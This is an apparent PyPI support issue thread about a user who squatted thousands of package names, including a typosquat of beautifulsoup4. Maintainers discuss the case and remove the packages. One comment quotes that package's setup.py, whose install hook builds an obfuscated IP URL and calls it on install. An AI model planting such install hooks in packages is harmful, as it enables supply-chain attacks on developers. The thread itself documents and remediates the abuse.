Mass name squat by user: RemindSupplyChainRisks

[mkolarek]

Project to be claimed

PROJECT_NAME: https://pypi.org/user/RemindSupplyChainRisks

Your PyPI username

USER_NAME: https://pypi.org/user/mkolarek

Reasons for the request

user RemindSupplyChainRisks has joined PyPI on 25.02.2021 and has since created 3591 empty packages

Maintenance or replacement?

Replacement

Source code repositories URLs

No response

Contact and additional research

RemindSupplyChainRisks@gmail.com is invalid; Github links to package source code as well

Code of Conduct

• I agree to follow the PSF Code of Conduct

[webknjaz]

@pradyunsg ^

[richtier]

I think they are making a point about "supply chain attacks", hence the username is RemindSupplyChainRisks. The beautifulsoup4 one has this in the __init__.py

the purpose is to make everyone pay attention to software supply chain attacks, because the risks are too great.

and the setup.py contains has this:

class CustomInstallCommand(install):
    def run(self):
        install.run(self)
        url = "h"+"t"+"t"+"p"+":"+"/"+"/"+"1"+"0"+"1"+"."+"3"+"2"+"."+"9"+"9"+"."+"2"+"8"+"/name?beauitfulsoup4"
        requests.get(url, timeout=30)

beautifulsoup4 is targeting devs trying to install bs4

view-source:http://101.32.99.28/name?beauitfulsoup4 shows us an empty page.

and same when using requests:

>>> requests.get("http://101.32.99.28/name?beauitfulsoup4")
<Response [200]>
>>> _.content
b'\n'

Perhaps the author has that for analytics reasons

FWIW this is the details of the IP https://whatismyipaddress.com/ip/101.32.99.28

[webknjaz]

Yep. But also the author doesn't realize that setup.py install almost never gets executed. Pip will run it only if the wheel package is not present in the env.

[ewdurbin]

Due to the volume of projects registered and the fact that our existing automation doesn't include the necessary step of prohibiting re-registration when taking down a User and their projects, this has taken a bit more time than normal to clean up.

I'm running a tool to clean this up now, thanks for your report.

[marksteward]

@webknjaz there are no wheels published for these packages. So it's still going to run at least once for each env.

[webknjaz]

@marksteward no, if the env where you run pip install has a package called wheel, pip will run setup.py bdist_wheel, not setup.py install and then, it will unpack that wheel into site-packages. But if there is no wheel package around, it will run setup.py install, it's a fallback.

If it was ever installed in at least one virtualenv on the system that has wheel, then the whl file will get cached and any subsequent installs will just unpack it and won't ever see that sdist.

I'm not saying that it'll never run. For example, if you create virtualenvs with python -m venv some-venv, those won't get wheel by default (it can be installed later, manually).
But the envs created with a third-party virtualenv tool get wheel pre-seeded (https://virtualenv.pypa.io/en/stable/user_guide.html#wheels).

[marksteward]

OK, I read env as environment, not venv. I'm still not sure that counts as "almost never gets executed" - if it was ever installed in at least one virtualenv on the system, that's a successful attack.

[ewdurbin]

All (3653) projects associated with this User have been pulled and prohibited from re-registration without admin intervention. I'm reticent to nuke/ban the user since they would clearly be able to create a new account or obtain a new IP, this makes it easier to spot if they do decide to come back with more project registrations.

[ptrblck]

@ewdurbin it seems the user is re-uploading packages right now in an alphabetical order (currently at O): https://pypi.org/user/RemindSupplyChainRisks/

[pradyunsg]

sigh Reopening.

[ewdurbin]

Handled similarly. Our only other recourse would be to disable new project registration... but that seems untenable.

[di]

Resolved.